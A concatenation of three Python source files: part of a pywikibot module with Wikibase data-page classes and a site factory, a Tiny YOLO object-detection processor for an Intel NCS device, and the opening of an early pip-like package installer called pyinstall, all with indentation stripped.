if not data_site:
raise ValueError(
'The provided site does not support {0}.'.format(label))
if page.site != data_site:
raise ValueError(
'Page must be on the {0} repository site.'.format(label))
# validate page title fulfills hard-coded Wikibase requirement
# pcre regexp: '/^Data:[^\\[\\]#\\\:{|}]+\.map$/u' for geo-shape
# pcre regexp: '/^Data:[^\\[\\]#\\\:{|}]+\.tab$/u' for tabular-data
# As we have already checked for existence the following simplified
# check should be enough.
if not page.title().startswith('Data:') or \
not page.title().endswith(ending):
raise ValueError(
"Page must be in 'Data:' namespace and end in '{0}' "
"for {1}.".format(ending, label))
def __init__(self, page, site=None):
"""
Create a new _WbDataPage object.
@param page: page containing the data
@type text: pywikibot.Page
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
"""
site = site or Site().data_repository()
specifics = type(self)._get_type_specifics(site)
_WbDataPage._validate(page, specifics['data_site'],
specifics['ending'], specifics['label'])
self.page = page
def __hash__(self):
"""Override super.hash() as toWikibase is a string for _WbDataPage."""
return hash(self.toWikibase())
def toWikibase(self):
"""
Convert the data to the value required by the Wikibase API.
@return: title of the data page incl. namespace
@rtype: str
"""
return self.page.title()
@classmethod
def fromWikibase(cls, page_name, site):
"""
Create a _WbDataPage from the JSON data given by the Wikibase API.
@param page_name: page name from Wikibase value
@type page_name: str
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot._WbDataPage
"""
data_site = cls._get_data_site(site)
page = Page(data_site, page_name)
return cls(page, site)
class WbGeoShape(_WbDataPage):
"""
A Wikibase geo-shape representation.
"""
@classmethod
def _get_data_site(cls, site):
"""
Return the site serving as a geo-shape repository.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.site.APISite
"""
return site.geo_shape_repository()
@classmethod
def _get_type_specifics(cls, site):
"""
Return the specifics for WbGeoShape.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: dict
"""
specifics = {
'ending': '.map',
'label': 'geo-shape',
'data_site': cls._get_data_site(site)
}
return specifics
class WbTabularData(_WbDataPage):
"""
A Wikibase tabular-data representation.
"""
@classmethod
def _get_data_site(cls, site):
"""
Return the site serving as a tabular-data repository.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: pywikibot.site.APISite
"""
return site.tabular_data_repository()
@classmethod
def _get_type_specifics(cls, site):
"""
Return the specifics for WbTabularData.
@param site: The Wikibase site
@type site: pywikibot.site.DataSite
@rtype: dict
"""
specifics = {
'ending': '.tab',
'label': 'tabular-data',
'data_site': cls._get_data_site(site)
}
return specifics
class WbUnknown(_WbRepresentation):
"""
A Wikibase representation for unknown data type.
This will prevent the bot from breaking completely when a new type
is introduced.
This data type is just a json container
"""
_items = ('json',)
def __init__(self, json):
"""
Create a new WbUnknown object.
@param json: Wikibase JSON
@type: dict
"""
self.json = json
def toWikibase(self):
"""
Return the JSON object for the Wikibase API.
@return: Wikibase JSON
@rtype: dict
"""
return self.json
@classmethod
def fromWikibase(cls, json):
"""
Create a WbUnknown from the JSON data given by the Wikibase API.
@param json: Wikibase JSON
@type json: dict
@rtype: pywikibot.WbUnknown
"""
return cls(json)
_sites = {}
_url_cache = {} # The code/fam pair for each URL
def Site(code=None, fam=None, user=None, sysop=None, interface=None, url=None):
"""A factory method to obtain a Site object.
Site objects are cached and reused by this method.
By default rely on config settings. These defaults may all be overridden
using the method parameters.
@param code: language code (override config.mylang)
@type code: string
@param fam: family name or object (override config.family)
@type fam: string or Family
@param user: bot user name to use on this site (override config.usernames)
@type user: unicode
@param sysop: sysop user to use on this site (override config.sysopnames)
@type sysop: unicode
@param interface: site class or name of class in pywikibot.site
(override config.site_interface)
@type interface: subclass of L{pywikibot.site.BaseSite} or string
@param url: Instead of code and fam, does try to get a Site based on the
URL. Still requires that the family supporting that URL exists.
@type url: string
@rtype: pywikibot.site.APISite
"""
# Either code and fam or only url
if url and (code or fam):
raise ValueError('URL to the wiki OR a pair of code and family name '
'should be provided')
_logger = "wiki"
if url:
if url not in _url_cache:
matched_sites = []
# Iterate through all families and look, which does apply to
# the given URL
for fam in config.family_files:
family = Family.load(fam)
code = family.from_url(url)
if code is not None:
matched_sites += [(code, family)]
if matched_sites:
if len(matched_sites) > 1:
warning(
'Found multiple matches for URL "{0}": {1} (use first)'
.format(url, ', '.join(str(s) for s in matched_sites)))
_url_cache[url] = matched_sites[0]
else:
# TODO: As soon as AutoFamily is ready, try and use an
# AutoFamily
_url_cache[url] = None
cached = _url_cache[url]
if cached:
code = cached[0]
fam = cached[1]
else:
raise SiteDefinitionError("Unknown URL '{0}'.".format(url))
else:
# Fallback to config defaults
code = code or config.mylang
fam = fam or config.family
if not isinstance(fam, Family):
fam = Family.load(fam)
interface = interface or fam.interface(code)
# config.usernames is initialised with a defaultdict for each family name
family_name = str(fam)
code_to_user = config.usernames['*'].copy()
code_to_user.update(config.usernames[family_name])
user = user or code_to_user.get(code) or code_to_user.get('*')
code_to_sysop = config.sysopnames['*'].copy()
code_to_sysop.update(config.sysopnames[family_name])
sysop = sysop or code_to_sysop.get(code) or code_to_sysop.get('*')
if not isinstance(interface, type):
# If it isnt a class, assume it is a string
try:
tmp = __import__('pywikibot.site', fromlist=[interface])
interface = getattr(tmp, interface)
except ImportError:
raise ValueError('Invalid interface name: {0}'.format(interface))
if not issubclass(interface, BaseSite):
warning('Site called with interface=%s' % interface.__name__)
user = normalize_username(user)
key = '%s:%s:%s:%s' % (interface.__name__, fam, code, user)
if key not in _sites or not isinstance(_sites[key], interface):
_sites[key] = interface(code=code, fam=fam, user=user, sysop=sysop)
debug(u"Instantiated %s object '%s'"
% (interface.__name__, _sites[key]), _logger)
if _sites[key].code != code:
warn('Site %s instantiated using different code "%s"'
% (_sites[key], code), UserWarning, 2)
return _sites[key]
# alias for backwards-compability
getSite = redirect_func(Site, old_name='getSite')
# These imports depend on Wb* classes above.
from pywikibot.page import (
Page,
FilePage,
Category,
Link,
User,
ItemPage,
PropertyPage,
Claim,
)
from pywikibot.page import html2unicode, url2unicode, unicode2html
link_regex = re.compile(r'\[\[(?P<title>[^\]|[<>{}]*)(\|.*?)?\]\]')
@__deprecated('comment parameter for page saving method')
def setAction(s):
"""Set a summary to use for changed page submissions."""
config.default_edit_summary = s
def showDiff(oldtext, newtext, context=0):
"""
Output a string showing the differences between oldtext and newtext.
The differences are highlighted (only on compatible systems) to show which
changes were made.
"""
PatchManager(oldtext, newtext, context=context).print_hunks()
# Throttle and thread handling
def stopme():
"""
Drop this process from the throttle log, after pending threads finish.
Can be called manually if desired. Does not clean async_manager.
This should be run when a bot does not interact with the Wiki, or
when it has stopped doing so. After a bot has run stopme() it will
not slow down other bots any more.
"""
_flush(False)
def _flush(stop=True):
"""
Drop this process from the throttle log, after pending threads finish.
Wait for the page-putter to flush its queue. Also drop this process from the
throttle log. Called automatically at Python exit.
"""
_logger = "wiki"
debug('_flush() called', _logger)
def remaining():
remainingPages = page_put_queue.qsize()
if stop:
# -1 because we added a None element to stop the queue
remainingPages -= 1
remainingSeconds = datetime.timedelta(
seconds=(remainingPages * config.put_throttle))
return (remainingPages, remainingSeconds)
if stop:
# None task element leaves async_manager
page_put_queue.put((None, [], {}))
num, sec = remaining()
if num > 0 and sec.total_seconds() > config.noisysleep:
output(color_format(
'{lightblue}Waiting for {num} pages to be put. '
'Estimated time remaining: {sec}{default}', num=num, sec=sec))
while _putthread.isAlive() and page_put_queue.qsize() > 0:
try:
_putthread.join(1)
except KeyboardInterrupt:
if input_yn('There are {0} pages remaining in the queue. '
'Estimated time remaining: {1}\nReally exit?'
''.format(*remaining()),
default=False, automatic_quit=False):
return
# only need one drop() call because all throttles use the same global pid
try:
list(_sites.values())[0].throttle.drop()
log(u"Dropped throttle(s).")
except IndexError:
pass
atexit.register(_flush)
# Create a separate thread for asynchronous page saves (and other requests)
def async_manager():
"""Daemon; take requests from the queue and execute them in background."""
while True:
(request, args, kwargs) = page_put_queue.get()
if request is None:
break
request(*args, **kwargs)
page_put_queue.task_done()
def async_request(request, *args, **kwargs):
"""Put a request on the queue, and start the daemon if necessary."""
if not _putthread.isAlive():
try:
page_put_queue.mutex.acquire()
try:
_putthread.start()
except (AssertionError, RuntimeError):
pass
finally:
page_put_queue.mutex.release()
page_put_queue.put((request, args, kwargs))
# queue to hold pending requests
page_put_queue = Queue(config.max_queue_size)
# set up the background thread
_putthread = threading.Thread(target=async_manager)
# identification for debugging purposes
_putthread.setName('Put-Thread')
_putthread.setDaemon(True)
wrapper = _ModuleDeprecationWrapper(__name__)
wrapper._add_deprecated_attr('ImagePage', FilePage)
wrapper._add_deprecated_attr(
'cookie_jar', replacement_name='pywikibot.comms.http.cookie_jar')
wrapper._add_deprecated_attr(
'PageNotFound', _DeprecatedPageNotFoundError,
warning_message=('{0}.{1} is deprecated, and no longer '
'used by pywikibot; use http.fetch() instead.'))
wrapper._add_deprecated_attr(
'UserActionRefuse', _EmailUserError,
warning_message='UserActionRefuse is deprecated; '
'use UserRightsError and/or NotEmailableError instead.')
wrapper._add_deprecated_attr(
'QuitKeyboardInterrupt', _QuitKeyboardInterrupt,
warning_message='pywikibot.QuitKeyboardInterrupt is deprecated; '
'use pywikibot.bot.QuitKeyboardInterrupt instead.')
wrapper._add_deprecated_attr(
'UploadWarning', _UploadWarning,
warning_message='pywikibot.UploadWarning is deprecated; '
'use APISite.upload with a warning handler instead.')
|
tiny_yolo_processor.py | #! /usr/bin/env python3
# Copyright(c) 2017 Intel Corporation.
# License: MIT See LICENSE file in root directory.
# NPS
# processes images via tiny yolo
from mvnc import mvncapi as mvnc
import numpy as np
import cv2
import queue
import threading
class tiny_yolo_processor:
# Tiny Yolo assumes input images are these dimensions.
TY_NETWORK_IMAGE_WIDTH = 448
TY_NETWORK_IMAGE_HEIGHT = 448
# initialize an instance of the class
# tiny_yolo_graph_file is the path and filename to the tiny yolo graph
# file that was created by the ncsdk compiler
# ncs_device is an open ncs device object
# input_queue is a queue object from which images will be pulled and
# inferences will be processed on.
# output_queue is a queue object on which the tiny yolo inference results will
# be placed. each result will result in the following being added to the queue
# the opencv image on which the inference was run
# a list with the following items:
# string that is network classification ie 'cat', or 'chair' etc
# float value for box center X pixel location within source image
# float value for box center Y pixel location within source image
# float value for box width in pixels within source image
# float value for box height in pixels within source image
# float value that is the probability for the network classification.
# initial_box_prob_threshold is the initial box probability threshold for boxes
# returned from the inferences
# initial_max_iou is the inital value for the max iou which determines duplicate
# boxes
def __init__(self, tiny_yolo_graph_file, ncs_device, input_queue, output_queue,
inital_box_prob_thresh, initial_max_iou, queue_wait_input, queue_wait_output):
self._queue_wait_input = queue_wait_input
self._queue_wait_output = queue_wait_output
# Load googlenet graph from disk and allocate graph via API
try:
with open(tiny_yolo_graph_file, mode='rb') as ty_file:
ty_graph_from_disk = ty_file.read()
self._ty_graph = ncs_device.AllocateGraph(ty_graph_from_disk)
except:
print('\n\n')
print('Error - could not load tiny yolo graph file: ' + tiny_yolo_graph_file)
print('\n\n')
raise
self._box_probability_threshold = inital_box_prob_thresh
self._max_iou = initial_max_iou
self._input_queue = input_queue
self._output_queue = output_queue
self._worker_thread = threading.Thread(target=self._do_work, args=())
# call once when done with the instance of the class
def cleanup(self):
self._ty_graph.DeallocateGraph()
# start asynchronous processing of the images on the input queue via a worker thread
# and place inference results on the output queue
def start_processing(self):
self._end_flag = False
if (self._worker_thread == None):
self._worker_thread = threading.Thread(target=self._do_work, args=())
self._worker_thread.start()
# stop asynchronous processing of the images on input queue
# when returns the worker thread will be terminated
def stop_processing(self):
self._end_flag = True
self._worker_thread.join()
self._worker_thread = None
# do a single inference
# input_image is the image on which to run the inference.
# it can be any size
# returns:
# result from _filter_objects() which is a list of lists.
# Each of the inner lists represent one found object and contain
# the following 6 values:
# string that is network classification ie 'cat', or 'chair' etc
# float value for box center X pixel location within input_image
# float value for box center Y pixel location within input_image
# float value for box width in pixels within input_image
# float value for box height in pixels within input_image
# float value that is the probability for the network classification.
def do_inference(self, input_image):
# save original width and height
input_image_width = input_image.shape[1]
input_image_height = input_image.shape[0]
# resize image to network width and height
# then convert to float32, normalize (divide by 255),
# and finally convert to float16 to pass to LoadTensor as input
# for an inference
# this returns a new image so the input_image is unchanged
inference_image = cv2.resize(input_image,
(tiny_yolo_processor.TY_NETWORK_IMAGE_WIDTH,
tiny_yolo_processor.TY_NETWORK_IMAGE_HEIGHT),
cv2.INTER_LINEAR)
# modify inference_image for TinyYolo input
inference_image = inference_image.astype(np.float32)
inference_image = np.divide(inference_image, 255.0)
# Load tensor and get result. This executes the inference on the NCS
self._ty_graph.LoadTensor(inference_image.astype(np.float16), 'user object')
output, userobj = self._ty_graph.GetResult()
# filter out all the objects/boxes that don't meet thresholds
return self._filter_objects(output.astype(np.float32), input_image_width, input_image_height)
# the worker thread which handles the asynchronous processing of images on the input
# queue, running inferences on the NCS and placing results on the output queue
def _do_work(self):
print('in tiny_yolo_processor worker thread')
while (not self._end_flag):
try:
# get input image from input queue. This does not copy the image
input_image = self._input_queue.get(True, self._queue_wait_input)
# get the inference and filter etc.
filtered_objs = self.do_inference(input_image)
# put the results along with the input image on the output queue
self._output_queue.put((input_image, filtered_objs), True, self._queue_wait_output)
# finished with this input queue work item
self._input_queue.task_done()
except queue.Empty:
print('ty_proc, input queue empty')
except queue.Full:
print('ty_proc, output queue full')
print('exiting tiny_yolo_processor worker thread')
# get the box probability threshold.
# will be between 0.0 and 1.0
# higher number will result in less boxes returned
# during inferences
def get_box_probability_threshold(self):
return self._box_probability_threshold
# set the box probability threshold.
# value is the new value, it must be between 0.0 and 1.0
# lower values will allow less certain boxes in the inferences
# which will result in more boxes per image. Higher values will
# filter out less certain boxes and result in fewer boxes per
# inference.
def set_box_probability_threshold(self, value):
self._box_probability_threshold = value
# return the current max intersection-over-union threshold value
# to use when determining duplicate boxes in an inference.
# objects/boxes found that produce iou values over this threshold
# will be considered the same object when filtering the Tiny Yolo
# inference output.
def get_max_iou(self):
return self._max_iou
# set a new max intersection-over-union threshold value
# to use when determining duplicate boxes in an inference.
# objects/boxes found that produce iou values over this threshold
# will be considered the same object when filtering the Tiny Yolo
# inference output.
def set_max_iou(self, value):
self._max_iou = value
# Interpret the output from a single inference of TinyYolo (GetResult)
# and filter out objects/boxes with low probabilities.
# output is the array of floats returned from the API GetResult but converted
# to float32 format.
# input_image_width is the width of the input image
# input_image_height is the height of the input image
# Returns a list of lists. each of the inner lists represent one found object and contain
# the following 6 values:
# string that is network classification ie 'cat', or 'chair' etc
# float value for box center X pixel location within source image
# float value for box center Y pixel location within source image
# float value for box width in pixels within source image
# float value for box height in pixels within source image
# float value that is the probability for the network classification.
def _filter_objects(self, inference_result, input_image_width, input_image_height):
# the raw number of floats returned from the inference (GetResult())
num_inference_results = len(inference_result)
# the 20 classes this network was trained on
network_classifications = ["aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car",
"cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike",
"person", "pottedplant", "sheep", "sofa", "train","tvmonitor"]
# which types of objects do we want to include.
network_classifications_mask = [0, 1, 1, 1, 0, 1, 1,
1, 0, 1, 0, 1, 1, 1,
1, 0, 1, 0, 1,0]
num_classifications = len(network_classifications) # should be 20
grid_size = 7 # the image is a 7x7 grid. Each box in the grid is 64x64 pixels
boxes_per_grid_cell = 2 # the number of boxes returned for each grid cell
# grid_size is 7 (grid is 7x7)
# num classifications is 20
# boxes per grid cell is 2
all_probabilities = np.zeros((grid_size, grid_size, boxes_per_grid_cell, num_classifications))
# classification_probabilities contains a probability for each classification for
# each 64x64 pixel square of the grid. The source image contains
# 7x7 of these 64x64 pixel squares and there are 20 possible classifications
classification_probabilities = \
np.reshape(inference_result[0:980], (grid_size, grid_size, num_classifications))
num_of_class_probs = len(classification_probabilities)
# The probability scale factor for each box
box_prob_scale_factor = np.reshape(inference_result[980:1078], (grid_size, grid_size, boxes_per_grid_cell))
# get the boxes from the results and adjust to be pixel units
all_boxes = np.reshape(inference_result[1078:], (grid_size, grid_size, boxes_per_grid_cell, 4))
self._boxes_to_pixel_units(all_boxes, input_image_width, input_image_height, grid_size)
# adjust the probabilities with the scaling factor
for box_index in range(boxes_per_grid_cell): # loop over boxes
for class_index in range(num_classifications): # loop over classifications
all_probabilities[:,:,box_index,class_index] = np.multiply(classification_probabilities[:,:,class_index],box_prob_scale_factor[:,:,box_index])
probability_threshold_mask = np.array(all_probabilities >= self._box_probability_threshold, dtype='bool')
box_threshold_mask = np.nonzero(probability_threshold_mask)
boxes_above_threshold = all_boxes[box_threshold_mask[0],box_threshold_mask[1],box_threshold_mask[2]]
classifications_for_boxes_above = np.argmax(all_probabilities,axis=3)[box_threshold_mask[0],box_threshold_mask[1],box_threshold_mask[2]]
probabilities_above_threshold = all_probabilities[probability_threshold_mask]
# sort the boxes from highest probability to lowest and then
# sort the probabilities and classifications to match
argsort = np.array(np.argsort(probabilities_above_threshold))[::-1]
boxes_above_threshold = boxes_above_threshold[argsort]
classifications_for_boxes_above = classifications_for_boxes_above[argsort]
probabilities_above_threshold = probabilities_above_threshold[argsort]
# get mask for boxes that seem to be the same object
duplicate_box_mask = self._get_duplicate_box_mask(boxes_above_threshold)
# update the boxes, probabilities and classifications removing duplicates.
boxes_above_threshold = boxes_above_threshold[duplicate_box_mask]
classifications_for_boxes_above = classifications_for_boxes_above[duplicate_box_mask]
probabilities_above_threshold = probabilities_above_threshold[duplicate_box_mask]
classes_boxes_and_probs = []
for i in range(len(boxes_above_threshold)):
if (network_classifications_mask[classifications_for_boxes_above[i]] != 0):
classes_boxes_and_probs.append([network_classifications[classifications_for_boxes_above[i]],boxes_above_threshold[i][0],boxes_above_threshold[i][1],boxes_above_threshold[i][2],boxes_above_threshold[i][3],probabilities_above_threshold[i]])
return classes_boxes_and_probs
# creates a mask to remove duplicate objects (boxes) and their related probabilities and classifications
# that should be considered the same object. This is determined by how similar the boxes are
# based on the intersection-over-union metric.
# box_list is as list of boxes (4 floats for centerX, centerY and Length and Width)
def _get_duplicate_box_mask(self, box_list):
box_mask = np.ones(len(box_list))
for i in range(len(box_list)):
if box_mask[i] == 0: continue
for j in range(i + 1, len(box_list)):
if self._get_intersection_over_union(box_list[i], box_list[j]) > self._max_iou:
box_mask[j] = 0.0
filter_iou_mask = np.array(box_mask > 0.0, dtype='bool')
return filter_iou_mask
# Converts the boxes in box list to pixel units
# assumes box_list is the output from the box output from
# the tiny yolo network and is [grid_size x grid_size x 2 x 4].
def _boxes_to_pixel_units(self, box_list, image_width, image_height, grid_size):
# number of boxes per grid cell
boxes_per_cell = 2
# setup some offset values to map boxes to pixels
# box_offset will be [[ [0, 0], [1, 1], [2, 2], [3, 3], [4, 4], [5, 5], [6, 6]] ...repeated for 7 ]
box_offset = np.transpose(np.reshape(np.array([np.arange(grid_size)]*(grid_size*2)),(boxes_per_cell,grid_size, grid_size)),(1,2,0))
# adjust the box center
box_list[:,:,:,0] += box_offset
box_list[:,:,:,1] += np.transpose(box_offset,(1,0,2))
box_list[:,:,:,0:2] = box_list[:,:,:,0:2] / (grid_size * 1.0)
# adjust the lengths and widths
box_list[:,:,:,2] = np.multiply(box_list[:,:,:,2],box_list[:,:,:,2])
box_list[:,:,:,3] = np.multiply(box_list[:,:,:,3],box_list[:,:,:,3])
#scale the boxes to the image size in pixels
box_list[:,:,:,0] *= image_width
box_list[:,:,:,1] *= image_height
box_list[:,:,:,2] *= image_width
box_list[:,:,:,3] *= image_height
# Evaluate the intersection-over-union for two boxes
# The intersection-over-union metric determines how close
# two boxes are to being the same box. The closer the boxes
# are to being the same, the closer the metric will be to 1.0
# box_1 and box_2 are arrays of 4 numbers which are the (x, y)
# points that define the center of the box and the length and width of
# the box.
# Returns the intersection-over-union (between 0.0 and 1.0)
# for the two boxes specified.
def _get_intersection_over_union(self, box_1, box_2):
# one diminsion of the intersecting box
intersection_dim_1 = min(box_1[0]+0.5*box_1[2],box_2[0]+0.5*box_2[2])-\
max(box_1[0]-0.5*box_1[2],box_2[0]-0.5*box_2[2])
# the other dimension of the intersecting box
intersection_dim_2 = min(box_1[1]+0.5*box_1[3],box_2[1]+0.5*box_2[3])-\
max(box_1[1]-0.5*box_1[3],box_2[1]-0.5*box_2[3])
if intersection_dim_1 < 0 or intersection_dim_2 < 0 :
# no intersection area
intersection_area = 0
else :
# intersection area is product of intersection dimensions
intersection_area = intersection_dim_1*intersection_dim_2
# calculate the union area which is the area of each box added
# and then we need to subtract out the intersection area since
# it is counted twice (by definition it is in each box)
union_area = box_1[2]*box_1[3] + box_2[2]*box_2[3] - intersection_area
# now we can return the intersection over union
iou = intersection_area / union_area
return iou
|
pyinstall.py | #!E:\softWare\python\FirstPython\venv\Scripts\python.exe
import sys
import os
import optparse
import pkg_resources
import urllib2
import urllib
import mimetypes
import zipfile
import tarfile
import tempfile
import subprocess
import posixpath
import re
import shutil
try:
from hashlib import md5
except ImportError:
import md5 as md5_module
md5 = md5_module.new
import urlparse
from email.FeedParser import FeedParser
import traceback
from cStringIO import StringIO
import socket
from Queue import Queue
from Queue import Empty as QueueEmpty
import threading
import httplib
import time
import logging
class InstallationError(Exception):
"""General exception during installation"""
class DistributionNotFound(InstallationError):
"""Raised when a distribution cannot be found to satisfy a requirement"""
if getattr(sys, 'real_prefix', None):
## FIXME: is build/ a good name?
base_prefix = os.path.join(sys.prefix, 'build')
base_src_prefix = os.path.join(sys.prefix, 'src')
else:
## FIXME: this isn't a very good default
base_prefix = os.path.join(os.getcwd(), 'build')
base_src_prefix = os.path.join(os.getcwd(), 'src')
pypi_url = "http://pypi.python.org/simple"
default_timeout = 15
parser = optparse.OptionParser(
usage='%prog [OPTIONS] PACKAGE_NAMES')
parser.add_option(
'-e', '--editable',
dest='editables',
action='append',
default=[],
metavar='svn+REPOS_URL[@REV]#egg=PACKAGE',
help='Install a package directly from a checkout. Source will be checked '
'out into src/PACKAGE (lower-case) and installed in-place (using '
'setup.py develop). This option may be provided multiple times.')
parser.add_option(
'-r', '--requirement',
dest='requirements',
action='append',
default=[],
metavar='FILENAME',
help='Install all the packages listed in the given requirements file. '
'This option can be used multiple times.')
parser.add_option(
'-f', '--find-links',
dest='find_links',
action='append',
default=[],
metavar='URL',
help='URL to look for packages at')
parser.add_option(
'-i', '--index-url',
dest='index_url',
metavar='URL',
default=pypi_url,
help='base URL of Python Package Index')
parser.add_option(
'--extra-index-url',
dest='extra_index_urls',
metavar='URL',
action='append',
default=[],
help='extra URLs of package indexes to use in addition to --index-url')
parser.add_option(
'-b', '--build', '--build-dir', '--build-directory',
dest='build_dir',
metavar='DIR',
default=None,
help='Unpack packages into DIR (default %s) and build from there' % base_prefix)
parser.add_option(
'--src', '--source',
dest='src_dir',
metavar='DIR',
default=None,
help='Check out --editable packages into DIR (default %s)' % base_src_prefix)
parser.add_option(
'--timeout',
metavar='SECONDS',
dest='timeout',
type='float',
default=default_timeout,
help='Set the socket timeout (default %s seconds)' % default_timeout)
parser.add_option(
'-U', '--upgrade',
dest='upgrade',
action='store_true',
help='Upgrade all packages to the newest available version')
parser.add_option(
'-I', '--ignore-installed',
dest='ignore_installed',
action='store_true',
help='Ignore the installed packages (reinstalling instead)')
parser.add_option(
'--no-install',
dest='no_install',
action='store_true',
help="Download and unpack all packages, but don't actually install them")
parser.add_option(
'--bundle',
dest='bundle',
metavar='BUNDLE_FILE',
help="Collect all packages and create a .pybundle file.")
parser.add_option(
'--freeze',
dest='freeze',
metavar='FREEZE_FILE',
help="Create a file that can be used with --requirement to reproduce the "
"installed packages. You can also give one --requirement file that will "
"be used as the basis of the new file.")
parser.add_option(
'-E', '--environment',
dest='venv',
metavar='DIR',
help='virtualenv environment to run pyinstall in (either give the '
'interpreter or the environment base directory)')
parser.add_option(
'-v', '--verbose',
dest='verbose',
action='count',
default=0,
help='Give more output')
parser.add_option(
'-q', '--quiet',
dest='quiet',
action='count',
default=0,
help='Give less output')
parser.add_option(
'--log',
dest='log',
metavar='FILENAME',
help='Log file where a complete (maximum verbosity) record will be kept')
parser.add_option(
'--proxy',
dest='proxy',
type='str',
default='',
help="Specify a proxy in the form user:passwd@proxy.server:port. "
"Note that the user:password@ is optional and required only if you "
"are behind an authenticated proxy. If you provide "
"user@proxy.server:port then you will be prompted for a password."
)
parser.add_option(
'--install-option',
dest='install_options',
action='append',
help="Extra arguments to be supplied to the setup.py install "
"command (use like --install-option=\"--install-scripts=/usr/local/bin\"). "
"Use multiple --install-option options to pass multiple options to setup.py install"
)
def get_proxy(proxystr=''):
"""Get the proxy given the option passed on the command line. If an
empty string is passed it looks at the HTTP_PROXY environment
variable."""
if not proxystr:
proxystr = os.environ.get('HTTP_PROXY', '')
if proxystr:
if '@' in proxystr:
user_password, server_port = proxystr.split('@', 1)
if ':' in user_password:
user, password = user_password.split(':', 1)
else:
user = user_password
import getpass
prompt = 'Password for %s@%s: ' % (user, server_port)
password = urllib.quote(getpass.getpass(prompt))
return '%s:%s@%s' % (user, password, server_port)
else:
return proxystr
else:
return None
def setup_proxy_handler(proxystr=''):
"""Set the proxy handler given the option passed on the command
line. If an empty string is passed it looks at the HTTP_PROXY
environment variable. """
proxy = get_proxy(proxystr)
if proxy:
proxy_support = urllib2.ProxyHandler({"http": proxy, "ftp": proxy})
opener = urllib2.build_opener(proxy_support, urllib2.CacheFTPHandler)
urllib2.install_opener(opener)
def main(initial_args=None):
global logger
if initial_args is None:
initial_args = sys.argv[1:]
options, args = parser.parse_args(initial_args)
if args and args[-1] == '___VENV_RESTART___':
## FIXME: We don't do anything this this value yet:
venv_location = args[-2]
args = args[:-2]
options.venv = None
level = 1 # Notify
level += options.verbose
level -= options.quiet
level = Logger.level_for_integer(4-level)
complete_log = []
logger = Logger([(level, sys.stdout),
(Logger.DEBUG, complete_log.append)])
if options.venv:
if options.verbose > 0:
# The logger isn't setup yet
print 'Running in environment %s' % options.venv
restart_in_venv(options.venv, initial_args)
# restart_in_venv should actually never return, but for clarity...
return
## FIXME: not sure if this sure come before or after venv restart
if options.log:
log_fp = open_logfile_append(options.log)
logger.consumers.append((logger.DEBUG, log_fp))
else:
log_fp = None
socket.setdefaulttimeout(options.timeout or None)
setup_proxy_handler(options.proxy)
if options.bundle:
if not options.build_dir:
options.build_dir = backup_dir(base_prefix, '-bundle')
if not options.src_dir:
options.src_dir = backup_dir(base_src_prefix, '-bundle')
# We have to get everything when creating a bundle:
options.ignore_installed = True
logger.notify('Putting temporary build files in %s and source/develop files in %s'
% (display_path(options.build_dir), display_path(options.src_dir)))
if not options.build_dir:
options.build_dir = base_prefix
if not options.src_dir:
options.src_dir = base_src_prefix
options.build_dir = os.path.abspath(options.build_dir)
options.src_dir = os.path.abspath(options.src_dir)
install_options = options.install_options or []
try:
if options.freeze:
if options.requirements:
if len(options.requirements) > 1:
raise InstallationError(
"When using --freeze you can only provide one --requirement option")
requirement = options.requirements[0]
else:
requirement = None
write_freeze(
options.freeze,
requirement=requirement,
find_links=options.find_links)
return
index_urls = [options.index_url] + options.extra_index_urls
finder = PackageFinder(
find_links=options.find_links,
index_urls=index_urls)
requirement_set = RequirementSet(build_dir=options.build_dir,
src_dir=options.src_dir,
upgrade=options.upgrade,
ignore_installed=options.ignore_installed)
for name in args:
requirement_set.add_requirement(
InstallRequirement.from_line(name, None))
for name in options.editables:
requirement_set.add_requirement(
InstallRequirement.from_editable(name))
for filename in options.requirements:
for req in parse_requirements(filename, finder=finder):
requirement_set.add_requirement(req)
exit = 0
requirement_set.install_files(finder)
if not options.no_install and not options.bundle:
requirement_set.install(install_options)
logger.notify('Successfully installed %s' % requirement_set)
elif options.bundle:
requirement_set.create_bundle(options.bundle)
logger.notify('Created bundle in %s' % options.bundle)
else:
logger.notify('Successfully downloaded %s' % requirement_set)
except InstallationError, e:
logger.fatal(str(e))
logger.info('Exception information:\n%s' % format_exc())
exit = 1
except:
logger.fatal('Exception:\n%s' % format_exc())
exit = 2
if log_fp is not None:
log_fp.close()
if exit:
log_fn = './pyinstall-log.txt'
text = '\n'.join(complete_log)
logger.fatal('Storing complete log in %s' % log_fn)
log_fp = open_logfile_append(log_fn)
log_fp.write(text)
log_fp.close()
sys.exit(exit)
def format_exc(exc_info=None):
if exc_info is None:
exc_info = sys.exc_info()
out = StringIO()
traceback.print_exception(*exc_info, **dict(file=out))
return out.getvalue()
def restart_in_venv(venv, args):
"""
Restart this script using the interpreter in the given virtual environment
"""
venv = os.path.abspath(venv)
if not os.path.exists(venv):
try:
import virtualenv
except ImportError:
print 'The virtual environment does not exist: %s' % venv
print 'and virtualenv is not installed, so a new environment cannot be created'
sys.exit(3)
print 'Creating new virtualenv environment in %s' % venv
virtualenv.logger = logger
logger.indent += 2
## FIXME: always have no_site_packages?
virtualenv.create_environment(venv, site_packages=False)
if sys.platform == 'win32':
python = os.path.join(venv, 'Scripts', 'python')
else:
python = os.path.join(venv, 'bin', 'python')
if not os.path.exists(python):
python = venv
if not os.path.exists(python):
raise BadCommand('Cannot find virtual environment interpreter at %s' % python)
base = os.path.dirname(os.path.dirname(python))
os.execv(python, [python, __file__] + args + [base, '___VENV_RESTART___'])
class PackageFinder(object):
"""This finds packages.
This is meant to match easy_install's technique for looking for
packages, by reading pages and looking for appropriate links
"""
failure_limit = 3
def __init__(self, find_links, index_urls):
self.find_links = find_links
self.index_urls = index_urls
self.dependency_links = []
self.cache = PageCache()
def add_dependency_links(self, links):
## FIXME: this shouldn't be global list this, it should only
## apply to requirements of the package that specifies the
## dependency_links value
## FIXME: also, we should track comes_from (i.e., use Link)
self.dependency_links.extend(links)
def find_requirement(self, req, upgrade):
url_name = req.url_name
# Check that we have the url_name correctly spelled:
main_index_url = Link(posixpath.join(self.index_urls[0], url_name))
# This will also cache the page, so it's okay that we get it again later:
